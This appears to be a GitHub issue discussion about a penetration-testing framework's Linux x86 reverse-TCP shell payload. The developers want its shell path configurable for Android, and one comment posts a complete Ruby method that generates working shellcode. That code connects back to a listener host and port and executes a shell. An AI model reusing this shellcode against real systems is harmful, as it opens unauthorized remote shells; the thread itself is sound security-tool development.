Open joevennix opened 8 years ago
Making it configurable would add a ton of size overhead. Might be better to just have a second payload.
@jlee-r7 what would add the size overhead? Looking at the payload, I had hoped we could just keep pushing bytes to the stack that include the rest of the path string (and pad with slashes so it fits in 4 byte chunks). Probably I am missing something
(also do you know why there is a linux/x86/shell_reverse_tcp2
payload? I couldn't figure out the difference, except that one is built dynamically with metasm)
linux/x86/shell_reverse_tcp2
was created as a proof of concept for building dynamic payloads with metasm, so yeah, that's the only difference. We should probably remove it.
Pushing strings with different lengths is a giant pain in the ass for a static payload, so I was thinking you'd have to stick it at the end and jmp/call/pop to get its address. What you suggest would work if we do it dynamically in Metasm. Metasm payloads used to be really expensive at startup, but with the recent size caching, they're not so bad.
@egypt I poked at this a bit. The current code doesn't seem to rely on offsets so it looks like it will work. I ended up with the following generate
method:
def generate
# pad the shell path to a multiple of 4 with slashes
shell = datastore['CMD']
remainder = shell.bytes.length % 4
shell_padded = ("/" * (4-remainder)) + shell
"\x31\xdb" +# xor ebx,ebx
"\xf7\xe3" +# mul ebx
"\x53" +# push ebx
"\x43" +# inc ebx
"\x53" +# push ebx
"\x6a\x02" +# push byte +0x2
"\x89\xe1" +# mov ecx,esp
"\xb0\x66" +# mov al,0x66 (sys_socketcall)
"\xcd\x80" +# int 0x80
"\x93" +# xchg eax,ebx
"\x59" +# pop ecx
"\xb0\x3f" +# mov al,0x3f (sys_dup2)
"\xcd\x80" +# int 0x80
"\x49" +# dec ecx
"\x79\xf9" +# jns 0x11
"\x68" + [IPAddr.new(datastore['LHOST'], Socket::AF_INET).to_i].pack('N') + # push dword 0x100007f
"\x68\x02\x00" + [datastore['LPORT'].to_i].pack('S>') + # push dword 0xbfbf0002
"\x89\xe1" +# mov ecx,esp
"\xb0\x66" +# mov al,0x66 (sys_socketcall)
"\x50" +# push eax
"\x51" +# push ecx
"\x53" +# push ebx
"\xb3\x03" +# mov bl,0x3
"\x89\xe1" +# mov ecx,esp
"\xcd\x80" +# int 0x80
"\x52" +# push edx
# Split shellname into 4-byte words and push them one-by-one
# on to the stack
shell_padded.bytes.reverse.each_slice(4).map do |word|
"\x68" + word.reverse.pack('C*')
end.join +
"\x89\xe3" +# mov ebx,esp
"\x52" +# push edx
"\x53" +# push ebx
"\x89\xe1" +# mov ecx,esp
"\xb0\x0b" +# mov al,0xb (execve)
"\xcd\x80" # int 0x80
end
This generates the exact same shellcode as before when /bin//sh
is the shell, and allows me to get a shell on android. Is there a better way to do IP and port encoding here though? Once I put this in a generate
method the hardcoded LHOST and LPORT values in the payload options no longer worked, and I had to stuff them in manually.
Currently the linux/x86/shell_reverse_tcp payload fails on x86 Android, as its system shell path is
/system/bin/sh
instead of/bin/sh
. Right now the string/bin//sh
is hardcoded into the payload. It would be useful to make this path be configurable.